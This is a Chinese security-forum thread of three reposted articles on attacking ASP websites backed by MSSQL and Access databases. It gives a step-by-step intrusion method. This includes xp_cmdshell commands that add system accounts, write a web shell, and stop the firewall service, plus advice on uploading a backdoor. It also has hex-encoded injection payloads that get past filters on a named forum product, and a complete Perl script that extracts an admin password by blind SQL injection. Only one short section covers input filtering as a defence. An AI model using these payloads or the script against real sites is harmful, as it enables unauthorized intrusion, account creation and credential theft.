论坛: 菜鸟乐园 标题: sql及相关专题栏目(40来篇技术文章-都比较经典) 复制本贴地址    
作者: jwm3336 [jwm3336]    论坛用户   登录
ASP漏洞+SQL注入的入侵思想小结
        http://www.sans.org)在1999年评出的由于管理方面的原因导致的计算机安全事件的top7因素中,第四条:将安全的赌注全押在防火墙上。
            虽然现在是2003年了,但这一条还是正确的!就拿我自己学校的启航网站来讲,我在sql 1434端口(UDP)溢出测试代码出来后不久就对其进行了测试,并将问题反映到了这台主机的管理员那里,并给出了解决方法.2个月后,我乘管理员把防火墙关闭的那么一刹那,又用相同的方法进去了一次。可见,管理员并没有吸取经验,打上相应的补丁,只是简单的装了一个防火墙而已。
            好了,本文就是想对这种装上了防火墙的主机,进行入侵攻击的大概思路小结一下。
            首先当然是用扫描器对这台服务器(以下简称主机A)进行常规的扫描,得到初步的信息。再用nmap -sS IP -P0 -p 139 ,透过防火墙查看是否开有139端口。从上面得到的信息我们可以简单的判断到:主机A的系统是什么,装有防火墙的话,一般是只允许80端口开放的。如果能够泄漏asp源文件,当然是最好不过的了,但是一般难得遇到。如果主机A有show files之类的CGI漏洞,我们就可以试着看能不能从conn.inc等可能存放密码的文件得到有用的信息。
            然后就要进入重点了,寻找突破口。由于主机A装有防火墙,所以就算其有其他的溢出漏洞都将会导致我们的不到shell(U漏洞就不讲了)。在这种情况下,一般容易找到突破口的地方就是主机A上的新闻发布系统、论坛、聊天室。在这三个地方里最容易出毛病的地方,不少人都认为是论坛,但是我在网上看到的大部分相关文章中发现漏洞的地方都是新闻发布系统。
            好了,让我们先来试试看在新闻发布系统的*.asp后面加上单引号',再提交。返回:
            Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
            /mingce/student1.asp, 第 26 行
            或者是页面正常,但不能够显示新闻列表,这样看来就有一半的机会了。再让我们将单引号改为分号;,提交后如果能够正常返回页面,说明这个asp没有过滤分号。只要满足这两个条件,我们就可以有戏看了。为了跟进一步的确定主机A到底是否有sql注入毛病,我们可以使用下面两种方法简单测试一下:xp_cmdshell 'iisreset /reboot'或是xp_cmdshell 'ping 你.的.I.P',如果第一个命令能执行成功那么在半分钟之内远程系统会重启一次的,第二个命令你自已的机子的防火墙通常会提示来至x.x.x.x的主机向你发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能也不行。现在我们将要想个办法获得shell了。利用xp_cmdshell我们可以直接添加系统账户,如果主机A没有防火墙的话,再用IPC种植者之类的工具就可以得到shell了,但是主机A是装有防火墙的,所以我们首先考虑得到web shell ,就算权限低一点都没有关系。
            思路:
            1)找到web目录的路径
            2)用echo(也可利用sql表单)写入一个简单的cmd.asp,用来找到防火墙的具体名字等操作。
            3)通过xp_cmdshell来关闭防火墙服务
            要找到web目录的路径,在我看来有三种方法:一是,猜!什么c:\Inetpub\wwwroot c:\wwwroot  c:\www 之类的。二是,主机A上可能有其他ASP文件在提交非正常变量后会暴露其绝对路径,还可以试试1'or'1那个著名漏洞
            。三是czy82的方法(以下是转贴的):
            ********************************************************************
            使用adsutil.vbs程序我是这样执行的
            a';exec master..xp_cmdshell 'cmd /c cscript
            c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt';--
            是不是很长啦:)通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt中。
            对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs删了或是放到别的地方我们就没办法了(不可能自已用echo命令写一个吧)。
            第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧:)
            .....xp_cmdshell 'echo set
            fso1=createobject("scripting.filesystemobject")>c:\read.vbs';--
            .....xp_cmdshell 'echo Set WshShell =
            Wscript.CreateObject("Wscript.Shell")>>c:\read.vbs';--
            .....
            -------------------read.vbs---------------------------------
            set fso1=createobject("scripting.filesystemobject")
            Set WshShell = Wscript.CreateObject("Wscript.Shell")
            spa=WshShell.Environment("process")("windir")
            set fil =fso1.opentextfile(spa & "\system32\aa.txt")
            do while not fil.atendofstream
            nr=fil.readline
            if left(nr,4)="Path" then
            pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)
            exit do
            end if
            loop
            set fil1 =fso1.opentextfile(pa&"\dd.asp",2,true)
            fil1.writeline "<%response.write
            request.servervariables(""APPL_PHYSICAL_PATH"")%>"
            ---------------cut here--------------------------------------
            第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径
            然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯
            执行http://x.x.x.x/dd.asp
            返回:d:\xxx
            看来我运气就是不错的哈(其实有个问题是我们找的第一个web站点可能并不能通过x.x.x.x来仿问)
            ********************************************************************
            这样就可以得到web目录的路径,然后用echo 写个cmd.asp到其目录下,这样我们就可以得到一个web shell了。有了这个shell,我们可以使用net
            start查看开有哪些服务,或是查看主机A的开始菜单,得到主机A所使用的防火墙名字,在通过xp_cmdshell将其关闭。比如a';exec
            master..xp_cmdshell 'net stop smcservice';--
            (smcservice是sygate防火墙的服务名)。
            上面讲的大部分都出自于czy82发表的《只开80端口主机的入侵思路(实战,原创)》一文。而我自己也想了一点。当我们得到web
            shell后,我们完全可以上传系统进程插入式SHELL(比如InjShell.exe),然后再用xp_cmdshell执行这个后门,就可以透过防火墙来了。至于怎样上传文件,一般去论坛部分找找回有不小的收获,比如将要上传的文件改为.jpg文件名,用于论坛头像的上传等方法。
            上面讲了很多,你可能没有看出入侵的重点,我这里提出来:
            1.找到存在sql注入毛病的asp文件,主要是看他是否过滤了引号和分号。
            2.找到网站web的绝对路径,除文中提到了三种方法外,你还可以试着在1433里面将sa该密码,再回头调用asp文件,一般会出现错误并暴露绝对路径。
            3.得到web shell后,最好是要能够找到一种上传文件到主机上去的方法,从而更快的得到有权限的shell。
            另外,在讲讲论坛和聊天室部分,可以先试着用google搜索主机上使用的论坛,有的论坛(或聊天室)将论坛管理员的密码明文保存在一文件中,这样就可以直接用浏览器访问这个文件了。或者试试将show.asp?id=7之类的asp文件,改动ID后面的数7并提交,看能不能得到有用的信息。实在不行,还可以试试用跨站脚本攻击。如果是雷奥、动网之类的有名的论坛,这可以尝试着找找有没有新的漏洞报告之类的。
            总之,一个网站要做的是一面墙,入侵者要做的就是在这堵墙上找缝隙钻进去。相比较而言,那个容易就不用我讲了。找不找得到,就是看我们的技术水平问题了

地主 发表时间: 10/30 16:18

回复: jwm3336 [jwm3336]   论坛用户   登录
ASP漏洞分析
            对一类ASP安全漏洞的分析及解决方案的探讨
            近日,本人用ASP编写一套新闻管理系统。其间从网上查阅了很多相关资料,也下载了不少有关的成套系统。通读了源码后发现了很多问题。在此提出其中较为普遍一例,希望能给大家帮助。

            相必大家都很明白,ASP编程中,身份验证是相当重要而常用的。而很多网上的免费ASP程序对这方面处理的却不竟人意。下面以XX工作室出品的一个小系统来看问题具体出在哪里。先来看如部分相关程序:

            index.asp:
            <HTML><HEAD><TITLE>XX工作室注册系统</TITLE>
            <META http-equiv=Content-Type content="text/html;
            charset=gb2312"><LINK
            href="image/style.css" rel=stylesheet>
            <SCRIPT language=javascript>
            <!--
            <!-- hide this script from non-javascript-enabled browsers
            function checkform(){
            //check the user input value
            if( document.Login.UserID.value==""){
            alert("请输入用户名!");
            document.Login.UserID.focus();
            return false;
            }
            if( document.Login.Password.value==""){
            alert("请输入您的密码!");
            document.Login.Password.focus();
            return false;
            }
            return true;
            }
            // stop hiding -->
            //-->
            </SCRIPT>
            <META content="MSHTML 5.50.4807.2300" name=GENERATOR></HEAD>
            <BODY bgColor=#000000 leftMargin=0 topMargin=0 marginheight="0"
            marginwidth="0">
            <TABLE height=600 cellSpacing=0 cellPadding=0 width="100%" border=0>

            <TBODY>
            <TR>
            <TD width="100%" height=14>
            <DIV align=center><!--#include file="head.asp" --></DIV>
            </TD></TR>
            <TR>
            <TD vAlign=center align=middle width="100%" bgColor=#7b0000
            height=315>
            <FORM name=Login onsubmit="return checkform();" action=login.asp
            method=post>
            <TABLE height=126 cellSpacing=0 borderColorDark=#ff9933
            cellPadding=3
            width=30% align=center borderColorLight=#000000 border=1>
            <TBODY>
            <TR>
            <TD vAlign=middle align=center width="100%" height=88><FONT
            color=#ffffff> 用户名:
            <INPUT size=15
            name=UserID>
            <BR>
            <BR>
            口 令:
            <INPUT
            type=password size=15 name=Password>
            </FONT> </TD>
            </TR>
            <TR>
            <TD vAlign=center align=left width="100%" bgColor=#7b0000
            height=17> <A
            href="join.asp"><IMG
            src="image/button-join.gif" border=0></A> &n
            bsp;
            <input type=image src="image/button-login.gif"
            align=absMiddle border=0 name="image">
            </TD>
            </TR></TBODY></TABLE></FORM>
            <P></P></TD></TR>
            <TR>
            <TD vAlign=center align=middle width="100%" bgColor=#7b0000
            height=32></TD></TR>
            <TR>
            <TD width="100%" colSpan=2>
            <TABLE height=101 cellSpacing=0 cellPadding=0 width="100%"
            bgColor=#000000
            border=0>
            <TBODY>
            <TR>
            <TD vAlign=top align=left bgColor=#000000 colSpan=4 height=21>
            <HR color=#983625>
            </TD></TR>
            <TR>
            <TD vAlign=center align=middle bgColor=#983625 colSpan=4
            height=80>
            <!--#include file="copyright.asp" -->
            </TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></BODY></HTML>
            处理请求的login.asp程序如下:
            <%
            dim conn
            dim connstr
            on error resume next
            connstr="DBQ="+server.mappath("db1.mdb")+";DefaultDir=;DRIVER={Microsoft
            Acce
            ss Driver (*.mdb)};"
            set conn=server.createobject("ADODB.CONNECTION")
            conn.open connstr
            Set rs = Server.CreateObject("ADODB.RecordSet")
            user=request.form("UserID")
            pwd=request.form("Password")
            sql="select * from reg where username="&user&" and password="&pwd&""

            rs.open sql,conn,1,1
            if not rs.eof then
            response.redirect "main.asp"
            elseif rs.eof and rs.bof then
            response.write "密码错误或没有这个用户<a href=join.asp target=_blank>注册</a>"
            end if
            %>
            大家看过是否发现有何不拖之处?我们分析一下,index.asp中,接收用户输入用户名及密码,并用checkform()函数检查用户名和密码理否为空,如果为空的话,提示出错信息。

            在login.asp中,接收用户输入的Userid和Password数据,并分别赋值给user和pwd,然后再用sql="select * from reg w here username="&user&" and password="&pwd&"" 这句来对用户名和密码加以验证。 以常理来考虑的话,这是个很完整的程序了。而在实际的使用过程中,整套程序也的确可能正常使用。
            但是如果Userid的值和password的值被赋于:x or1=1
            这时,sql="select * from reg where username="&user&" and
            password="&pwd&"" 就成了:
            sql="select * from reg where user=x or 1=1 and pass=x or 1=1"
            怎么样?!我不说大家也明白了吧!
            既然有这样的问题,接下来我们就来看看如何解决它。从上面的程序中各位也可以看出,只要对用户输入的数据进行严格过滤就可以了。具体可以参下面的程序:

            <%
            user=request.from("UserID")
            pass=request.from("password")
            for i=1 to len(UserID)
            cl=mid(UserID,i,1)
            if cl="" or us="%" or us="<" or us=">" then
            response.redirect "error.htm"
            response.end
            end if
            next
            %>
            同样是先取得用户输入数据,然后分析用户输入的每一个字符,如发现异常,则转到错误页面。
            if cl="" or us="%" or us="<" or us=">" then
这一句中可以加入任意的过滤字符,跟据具体情况而定。


B1层 发表时间: 10/30 16:19

回复: jwm3336 [jwm3336]   论坛用户   登录
DVBBS漏洞和注入技巧

DVBBS漏洞和注入技巧
版权:文章属中华安全网http://www.safechina.net和作者共同?..厍胱⒚鞒龃Γ。?/a>
内容:
捏脸的超人@2003.6.16

这几天抽空把手头上的商业版dvBBS看了一下,嗯,差不多都快看完第一遍了,下面是r开头到最后的几个文件的检测情况。这一段时间黄汤灌得很多,说不定会看走了眼,呵呵。


◆recycle.asp

if instr(request("tablename"),"bbs")>0 then
sql="select AnnounceID,boardID,UserName,Topic,body,DateAndTime from "&request("tablename")&" where locktopic=2 and not parentid=0 order by announceid desc"

tablename中只要包含"bbs"就可以为所欲为了,不过前提是你是论坛的master……有用吗?不知道,也许你在其他地方注入比较困难的时候,试着把自己提升为master后到这里来注入比较好,基本上没有什么长度或者字符上的约束。



◆reg.asp

set rs=conn.execute("select top 1 userid,face from [user] order by userid desc")
... ...
facename=rs(1)
... ...
facename=split(facename,"/")
... ...
newfilename="uploadFace/"&userid&"_"&facename(ubound(facename))
... ...
conn.execute("update [user] set face='"&newfilename&"' where userid="&userid)

和MyModify.asp一样的问题,利用起来有些困难,但是确实是存在的。更加细节的地方请参看前面的《动网的洞――again!》。

◆saveannounce.asp

if request.form("upfilerename")<>"" then
ihaveupfile=1
upfileinfo=replace(request.form("upfilerename"),"'","")
upfileinfo=replace(upfileinfo,";","")
upfileinfo=replace(upfileinfo,"--","")
upfilelen=len(upfileinfo)
upfileinfo=left(upfileinfo,upfilelen-1)
else
ihaveupfile=0
end if
... ...
if ihaveupfile=1 then conn.execute("update dv_upfile set F_AnnounceID='"&rootid&"│"&AnnounceID&"',F_Readme='"&Topic&"' where F_ID in ("&upfileinfo&")")

这是《dvBBS的另一类漏洞》的商业版问题,如果是配置得不好的MSSQL,试试看upfileinfo为这个的情况

1) declare @a sysname select @a=char(110)+char(101)+char(116)+char(32)+char(117)+char(115)+char(101)+char(114)+char(32)+char(97)+char(32)+char(97)+char(32)+char(47)+char(97)+char(100)+char(100) exec master.dbo.xp_cmdshell @a select (1

或者(中文版MSSQL2000下面测试通过的)

1)
declare @a sysname
select @a=0x6e006500740020007500730065007200200061002000610020002f00610064006400
exec master.dbo.xp_cmdshell @a
select (1

或者更加极端的

1)
declare @a sysname
declare @b sysname
select @a=0x6e006500740020007500730065007200200061002000610020002f00610064006400
select @b=0x6d00610073007400650072002e002e00780070005f0063006d0064007300680065006c006c00
exec @b @a
select (1

这个是执行net user a a /add,后面一种方法可以完全逃过过滤。如果是ACCESS,那么请用构造畸形条件的方法猜数据库的内容。



◆savereannounce.asp

同上!



◆savevote.asp

同上!还有这个:

votetype=Checkstr(request.Form("votetype"))
... ...
conn.execute("insert into vote (vote,votenum,votetype,timeout) values ('"&vote&"','"&votenum&"',"&votetype&",'"&votetimeout&"')")

其中CheckStr是这样写的
function checkStr(str)
if isnull(str) then
checkStr = ""
exit function
end if
checkStr=replace(str,"'","''")
end function

呵呵,这个漏洞很典型吧?

好了好了,就这些了,连同以前的那些漏洞,单个文件中存在的问题大约就是这些了吧?呵呵,可能还有其它的看漏掉了。下面要找的该是复合了几个文件的漏洞,不过这段时间我不会去做,毕业临近,每天黄黄白白的要喝不少,睡觉都占了一天的一半时间,哪有空呢……还要养精蓄锐,准备要赔给兄弟和MM们的眼泪,哇靠……

对了,反正都说了很多无关紧要的话,不如再废话一些。老是有人问我ACCESS的怎么利用,我觉得PsKey的大作中写得很清楚了,自己去看,OK?关于ACCESS中注入能够做些什么,我想是可以这样去理解:至少你可以构造畸形的条件来猜测并且准确获知表的构造和全部内容。用and来作为连接条件吧!这样的逻辑表达式会干净利落地回答你是或者否,如果是自动化,你可以把猜测的时间复杂度降到NlogN而不是N^2:

.. and x=(select xxx from xxx where right(left(xxx,N),1) between char(a) and char(b))

这个只适用于头脑发晕或者是灵感耗尽的时候,如果六位的数据你猜到前面四位是qazw或者是七位的数据你猜到前面是mrzh等等诸如此类,还要去下大包围的话,真是代表碳水化合物输给硅了!做程序的话倒可以用用,不过话又说回来,这种有限状态自动机写来干什么呢?自动化的结果是智力的游戏变成了时间的游戏,所以我最讨厌蠕虫了!
哎呀,都不知道写到哪里去了。写多了,不,喝多了,呵呵……小生故意将文章题目起得像模像样,来吸引观众!高手就不用往下看了~~~呵呵

惠州市信息产业局出品的惠信新闻系统3.0二版网上有不少网站在用,强大的管理功能,漂亮的界面都是他卓越品质的表现。

就我们关心的安全方面来讲,首先它在用户注册、用户登陆、用户注册的时候都很小心的过滤了单引号、空格等字符,在管理员、高等级用户的管理页面开都都会调用session.asp里面的函数来检查管理员登陆的Session标记。即使是在调用新闻大类、小类以及详细内容的时候,虽然有地方没有过滤非法字符,但是他没有相关的错误回显,很难靠这些来做数据库的判断。

但是,小生还是找到了一个错误的地方,仍然是变量没有过滤的问题,当真就只看到这一处可以利用。这个错误在friendsitesave.asp这个文件中,该文件本来的作用是用来保存网友提交的交换连接信息的。来看代码:

---------------------------------------------------------------------------------------------

SiteName=trim(request.form("SiteName"))
SiteUrl=trim(request.form("SiteUrl"))
LogoUrl=trim(request.form("LogoUrl"))
SiteAdmin=trim(request.form("SiteAdmin"))
SiteIntro=trim(request.form("SiteIntro"))

......
'省略判断输入SiteName、SiteUrl是否为空

else
   
sql="select * from FriendSite where SiteName='"&SiteName&"' and SiteUrl='"&SiteUrl&"'"
rs.open sql,conn,1,3
if not rs.eof then
errmsg=errmsg+"<br><li>网址不能为空!</li>"
call error()
Response.End
else
rs.addnew

......
'省略添加新数据库信息的代码

---------------------------------------------------------------------------------------------


这里,他就简单的判断了SiteName、SiteUrl是否为空,然后直接带入数据库。这是个很低级的错误,本来简单带过一下就好了,不用写文章的。但是,在实际的利用当中还是有不少的问题的。小生就自己的一些经历,拉出来和大家一起分享,希望大家以后不会走弯路。

从上面的语句我们看到,当数据库中没有数据与提交的SiteName和SiteUrl相同时,程序将rs.addnew新建一个条目,等待管理员的认证通过。如果有完全相同的数据时,程序就会执行:

--------------------------------------------
errmsg=errmsg+"<br><li>网址不能为空!</li>"
--------------------------------------------


实际上,我们的浏览器收不到这条消息。在默认情况下,数据库中管理员在admin表中ID=7,并且密码是admin,也就是长度为5。用最常用的语句带入看看:

SiteName:good
SiteUrl:good' and 7=(select id from admin where len(password)=5) and '1


这样sql语句就变成了:

select * from FriendSite where SiteName=good and SiteUrl=good' and 7=(select id from admin where len(password)=5) and '1'


如果数据库中存在good/good这条数据,那么程序返回为空。反之,就返回“友情站点添加成功”等信息。这样我们就很容易得能够用下面的语句来猜测管理员的密码:

select * from FriendSite where SiteName='good' and SiteUrl='good' and 7=(select id from admin where left(password,5)='admin') and '1'


我们这样看,把SiteName='good' and SiteUrl='good'看成一个集合,把7=(select id from admin where left(password,5)='admin')看成一个集合,剩下一个and '1'看成一个集合(由于这个不变,所以我在下面省略了)。那么可以根据上面的信息写出下面的逻辑表达式:

-------------------
1 and 1 =1 返回为空
1 and 0 =0 返回信息

0 and 1 =0 返回信息
0 and 0 =0 返回信息
-------------------


再由上面的逻辑表达式,简单变换一下就成了下面的:

------------------
1 or 1 =1 返回为空
1 or 0 =1 返回为空

0 or 1 =1 返回为空
0 or 0 =0 返回信息
------------------


为什么要先换成这样呢?因为不是每个用这种系统的网站新闻数据库中都有友情连接的,也就是讲通常情况下,我们很难满足数据库中存在相关数据来保证SiteName='good' and SiteUrl='good'这个集合为真。所以我们选择更加合理的、公用的方式:

------------------
0 or 1 =1 返回为空
0 or 0 =0 返回信息
------------------


然后由于我们要判断7=(select id from admin where left(password,5)='admin')的真假,大部分的时间我们的猜测都是假的,也就是0,返回了信息,向数据库中写入了信息!小生就是吃亏在这里,那天晚上用上面的语句手工猜了个8位的密码,结果在数据库中添加了快两百条数据,进去后删这个尾巴都搞了N长时间。所以我们需要改进一下这个语句。我尝试用了not语句等方式,都不能够达到效果。最后搞了半天只好列举法将想到的语句情况列出来看个清楚!

--------------------------------------------------------------------------------
good' and 7=(select id from admin where left(password,1)='q') and '1 返回信息
good' and 7=(select id from admin where left(password,2)='ad') and '1 返回信息

good' and 7<>(select id from admin where left(password,1)='q') and '1 返回信息
good' and 7<>(select id from admin where left(password,2)='ad') and '1 返回信息

good' or 7=(select id from admin where left(password,1)='q') and '1 返回信息
good' or 7=(select id from admin where left(password,2)='ad') and '1 返回为空

good' or 7<>(select id from admin where left(password,1)='q') and '1 返回信息
good' or 7<>(select id from admin where left(password,2)='ad') and '1 返回信息

good' not 7=(select id from admin where left(password,1)='q') and '1 返回为空
good' not 7=(select id from admin where left(password,2)='ad') and '1 返回为空

good' not 7<>(select id from admin where left(password,1)='q') and '1 返回为空
good' not 7<>(select id from admin where left(password,2)='ad') and '1 返回为空
---------------------------------------------------------------------------------


里面好多地方小生都觉得是自相矛盾的,但是事实是这样就只好另外再想办法!你想到了没?N久之后,小生才想通!可以是这样:

-------------------------------------------------------------------------------
good' or 7=(select id from admin where left(password,1)<>'q') and '1 返回为空
good' or 7=(select id from admin where left(password,2)<>'ad') and '1 返回信息
-------------------------------------------------------------------------------


这时,数据库中没有good的数据,通过是否返回信息为判断对错的依据,马上可以用程序实现!这里要注意的是ASP中,他用的是request.form,从POST数据中得到数据,所以更改提交方式的时候,还要注意数据大小的计算。

小生根据PsKey破解BBSXP论坛用户密码的perl脚本改编成了附录中的脚本,使用的时候注意他是默认管理员在admin表中ID=7的,而且密码设置了最长为16位。还是有很多局限性的,有兴趣的朋友还可以再改改。最重要的就是破解了密码之后一定要登陆进去将友情连接的数据删掉(只有密码长度+1个了)~~~呵呵!



附录:简单验证程序

----------------------------------cut here----------------------------------------
#!/usr/bin/perl
#Codz By Mix<mix@ph4nt0m.net>2003/7/22
#Base on PsKey's codz , so THS you !
#This Script can crack 惠信新闻系统3.0 admin's password

$|=1;
use Socket;
use Getopt::Std;
getopt('hpw');

print "\n\n";
print "==========================================\n";
print " Codz By Mix <mix@ph4nt0m.net> 2003/07/22\n";
print "==========================================\n";

&usage unless ( defined($opt_h) );

$host=$opt_h;
$port=$opt_p||80;
$way=$opt_w;

print "\nPlease wait...\nFirst , we start to crack the len of password !\n";

@dic=(0..16);
$offsite=1;
for ($i=0;$i<@dic;$i++)
{
if (($dic[$i]>=10) and ($offsite>0)){
++$lenc;
$offsite=0;}
else{
$lenc=156;}

$request = "POST $way/FriendSiteSave.asp HTTP/1.1\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Host: $host\r\n".
"Content-Length: $lenc\r\n\n".
"SiteName=good&SiteUrl=good%27+or+8%3D%28select+id+from+admin+where+len%28password%29%3C%3E$dic[$i]%29+and+%271&LogoUrl=&SiteAdmin=&SiteIntro=&cmdok=+%CC%ED+%BC%D3+".
"\n\n";
print "$dic[$i].";
@in = sendraw($request);
@num=grep /友情站点添加成功/, @in;
$size=@num;
if ($size > 0) {
print "\n\nOK ! We know the length of the password is $dic[$i] now.\n\nSecond , we start to crack the password of admin !\n";
$lenpwd=$dic[$i];
last;
}
}

$offsite=1;
$lenc=167;
for ($j=1;$j<=$lenpwd;$j++)
{

if (($dic[$i]>=10) and ($offsite>0)){
++$lenc;
$offsite=0;}

@dic11=(0..9);
@dic12=(a..z);
@special=qw(` ~ ! @ # $ %25 ^ %26 * ( ) _ %2b = - { } [ ] : " ; < > ? | , . / \);
@special2=qw( ` ~ ! ・ # ¥ % …… ― * ( ) ―― + - = { } [ ] : ” “ ; ’ 《 》 ? │ , 。 / 、 〈 〉 ');
@dic=(@dic11,@dic12,@special,@special2);
for ($i=0;$i<@dic;$i++)
{
$key=$pws.$dic[$i];

$request = "POST $way/FriendSiteSave.asp HTTP/1.1\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"host:$host\r\n".
"Content-Length: $lenc\r\n\n".
"SiteName=good&SiteUrl=good%27+or+8%3D%28select+id+from+admin+where+left%28password%2C$j%29%3C%3E%27$key%27%29+and+%271&LogoUrl=&SiteAdmin=&SiteIntro=&cmdok=+%CC%ED+%BC%D3+".
"\n\n";

print "$dic[$i].";
@in = sendraw($request);

@num1=grep /友情站点添加成功/, @in;
$size1=@num1;
if ($size1 > 0) {
$th=$j.th;
print "\nSuccessful ! The $th word of the password is $dic[$i] \n";
$pws=$pws.$dic[$i];
last;
}

}
$lenc++;
}

$pws=~s/%2b/+/ig;
$pws=~s/%25/%/ig;
$pws=~s/%26/&/ig;

print "\n\nSuccessful,the full password of $user is $pws.\n";

sub usage {
print qq~
Usage: $0 -h <Host> [-p <port>] -w <way>
-h =hostname you want to crack
-p =port,80 default
-w =the path of the weak file

Eg: $0 -h <a href="http://www.target.com"; target="_blank">www.target.com</a> -p 80 -w /news
    $0 -h <a href="http://www.target.com"; target="_blank">www.target.com</a>
~;
exit;
}


#thanx rfp<rfp@wiretrip.net>'s sendraw
sub sendraw {
my ($request) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket
problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $request;
my @in = <S>;
select(STDOUT);
close(S);
return @in;
}
else {
die("Can't connect...\n");
}
}


B2层 发表时间: 10/30 16:20

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号